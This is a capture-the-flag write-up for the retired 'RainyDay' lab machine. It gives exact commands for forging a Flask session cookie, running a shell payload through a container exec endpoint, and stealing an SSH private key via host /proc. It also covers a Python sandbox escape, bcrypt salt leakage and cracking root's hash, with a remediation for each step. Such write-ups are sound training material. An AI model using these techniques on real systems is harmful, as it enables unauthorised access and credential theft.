RainyDay
Summary
I logged into a Flask-based 'RainyCloud' container-management web app using a weak, crackable password for a low-privileged user, then used a leaked application signing key to forge a session cookie for a second user, 'jack'. Jack's container shared the host's process namespace, which exposed his home directory — including his SSH private key — through /proc.
SSH access as jack led to a sudo rule running a 'safe' Python wrapper that could be escaped to become the 'jack_adm' user. Jack_adm could run a root-owned password-hashing script whose secret salt could be recovered and combined with a weak, cracked password, and that password was reused for the root account — full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered, for gary>"
export KEY="<the-key-you-recovered>"Some commands also carry a value in angle brackets — <base64_payload>, <container_id>, <forged_jack_cookie> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Add the application vhosts to local resolution.
$ echo "$TARGET rainycloud.htb dev.rainycloud.htb" | sudo tee -a /etc/hostsConfirms only 22/tcp and 80/tcp are open.
$ nmap -p- --min-rate=1000 $TARGETAuthenticate as gary and capture the session cookie.
$ curl --resolve rainycloud.htb:80:$TARGET -s -i -m 10 -X POST http://rainycloud.htb/login --data-urlencode username=gary --data-urlencode password=$PASSWORD3FixEnforce strong passwords and stop exposing password hashes through the APIHigh
Exact commands 2
Sign a session cookie for jack using the recovered SECRET_KEY.
$ flask-unsign -s --secret "$KEY" --cookie '{"username":"jack"}'Confirm the forged cookie is accepted and list jack's containers.
$ curl --resolve rainycloud.htb:80:$TARGET -s -m 30 http://rainycloud.htb/containers -H 'Cookie: session=<forged_jack_cookie>'FixProtect the Flask SECRET_KEY and rotate itCritical
Exact commands 1
Run a base64-wrapped shell payload in the container; replace <container_id> with the 'secrets' container ID.
$ curl --resolve rainycloud.htb:80:$TARGET -s -m 30 -X POST http://rainycloud.htb/containers -H 'Cookie: session=<forged_jack_cookie>' --data-urlencode "action=exec sh -c 'echo <base64_payload> | base64 -d | sh'" --data-urlencode id=<container_id>"FixRestrict who and what the container exec feature can reachHigh
Exact commands 3
Run inside the container to find host processes whose cwd is a home directory.
$ for p in /proc/[0-9]*; do c=$(readlink $p/cwd 2>/dev/null); case "$c" in /home/*|/root*) echo "$p -> $c";; esac; doneRead the user flag (<user.txt>) and jack's private key via the cwd symlink.
$ cat /proc/1185/cwd/user.txt; cat /proc/1185/cwd/.ssh/id_rsaLog in over the public SSH port as jack.
$ chmod 600 jack_id_rsa && ssh -i jack_id_rsa jack@$TARGET 'id; hostname; sudo -l'
uid=1000(jack)FixDo not run user containers in the host PID namespaceCritical
Exact commands 4
Reveals (jack_adm) NOPASSWD: /usr/bin/safe_python *.
$ sudo -lInspect which builtins the sandbox leaves available.
$ printf 'print(__builtins__)\n' > /tmp/t.py; sudo -u jack_adm /usr/bin/safe_python /tmp/t.pyRun a sandbox-escape script that walks ().__class__.__base__.__subclasses__() to recover __import__, then installs jack's public key in /home/jack_adm/.ssh/authorized_keys.
$ sudo -u jack_adm /usr/bin/safe_python /tmp/escape.pyLog in as jack_adm; sudo -l shows (root) NOPASSWD: /opt/hash_system/hash_password.py.
$ ssh -i jack_id_rsa jack_adm@$TARGET 'id; hostname; sudo -l'
uid=1002(jack_adm)FixRemove the sudo rule for the Python sandbox wrapperHigh
Exact commands 2
Run the helper as root via sudo and obtain a bcrypt hash that includes the secret salt.
$ echo htb | sudo -n /opt/hash_system/hash_password.pyPad input with 4-byte emoji characters to exactly 71 bytes so one salt byte lands inside the 72-byte window; test each printable byte locally with bcrypt.checkpw and repeat until the full salt is recovered.
$ python3 salt_leak.pyFixFix the password-hashing helper and remove its root sudo ruleHigh
Exact commands 3
Hashcat/John rule that appends the leaked salt to each candidate.
$ printf 'Az"'"$KEY"'"\n' > /tmp/work/salt.ruleCrack root's bcrypt hash.
$ hashcat -m 3200 -a 0 -r /tmp/work/salt.rule --potfile-disable -o /tmp/work/root.cracked /tmp/work/root.hash /usr/share/wordlists/rockyou.txtEnter the cracked password; the flag is <root.txt>.
$ su - root -c 'id; hostname; cat /root/root.txt'
uid=0(root) gid=0(root)FixUse unique, strong passwords for the root accountCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.